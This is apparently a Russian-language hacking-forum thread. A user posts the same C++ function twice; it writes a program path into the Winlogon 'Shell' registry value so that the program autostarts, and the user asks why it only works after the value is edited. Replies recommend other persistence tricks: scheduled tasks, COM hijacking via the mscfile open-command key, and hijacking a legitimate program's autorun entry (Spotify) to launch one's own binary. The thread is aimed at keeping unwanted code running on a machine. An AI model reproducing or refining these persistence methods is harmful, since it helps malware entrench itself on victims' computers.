bool WinlogonSet(wstring lpPath) { HKEY hKey = NULL; const TCHAR winlogonDir[MAX_PATH] = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\"; TCHAR lpBuffer[MAX_PATH]; wcscpy_s(lpBuffer, L"explorer.exe, "); wcscat_s(lpBuffer, lpPath.c_str()); if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, winlogonDir, NULL, KEY_WRITE, &hKey) != ERROR_SUCCESS) { return false; } if (RegSetValueEx(hKey, L"Shell", 0, REG_SZ, (PBYTE)lpBuffer, MAX_PATH) != ERROR_SUCCESS) { return false; } RegCloseKey(hKey); return true; } C bool WinlogonSet(wstring lpPath) { HKEY hKey = NULL; const TCHAR winlogonDir[MAX_PATH] = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\"; TCHAR lpBuffer[MAX_PATH]; wcscpy_s(lpBuffer, L"explorer.exe, "); wcscat_s(lpBuffer, lpPath.c_str()); if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, winlogonDir, NULL, KEY_WRITE, &hKey) != ERROR_SUCCESS) { return false; } if (RegSetValueEx(hKey, L"Shell", 0, REG_SZ, (PBYTE)lpBuffer, MAX_PATH) != ERROR_SUCCESS) { return false; } RegCloseKey(hKey); return true; } Этот код создает по пути запись, которая должна осуществлять автозапуск как в обычном режиме, так и в безопасном. Но при тесте возникла проблема. Запись создается, но после перезапуска программа не стартует. Но если изменить как-нибудь эту запись (например, добавить пробел в конце) и перезапустить систему, то после загрузки программа стартует и с этого момента будет включаться после каждого перезапуска. Чем это можно объяснить?
Объяснить можно изменением системного значения (т.е зарезервированного изначально), думаю, поэтому оно может так тупить. Пытался добавлять еще какие-либо символы или колдовать со значением? Если говорить по факту - необходимо подвергать это дебагу, смотреть, что выкидывает в случаях, что ты описал. Не пробовал реализавоть тот же COM Hijacking, к примеру?
Podorozhnyk, тогда стоит посмотреть другие методы резистентности, думаю. Обрати внимание на scheduled tasks или тот же COM hijacking. Извини, что с этим не смог помочь
Podorozhnyk, закрепление через абьюз COM-объектов в HKEY_LOCAL_MACHINE\SOFTWARE\Classes\mscfile\shell\open\command . Технически туда можно закинуть бинарь и он должен (по идее) сработать при старте системы (тут не имеет смысла учитывать, что инициализируется ранее). Была у меня еще идея тебе предложить абьюзить autorun, но с заменой легитимных PE. Т.е, допустим у нас есть Spotify, а мы меняем ключ загрузки на собственный бинарь, при этом сохраняя ключ и к Spotify. Вот тебе PoC для понимания к чему я веду.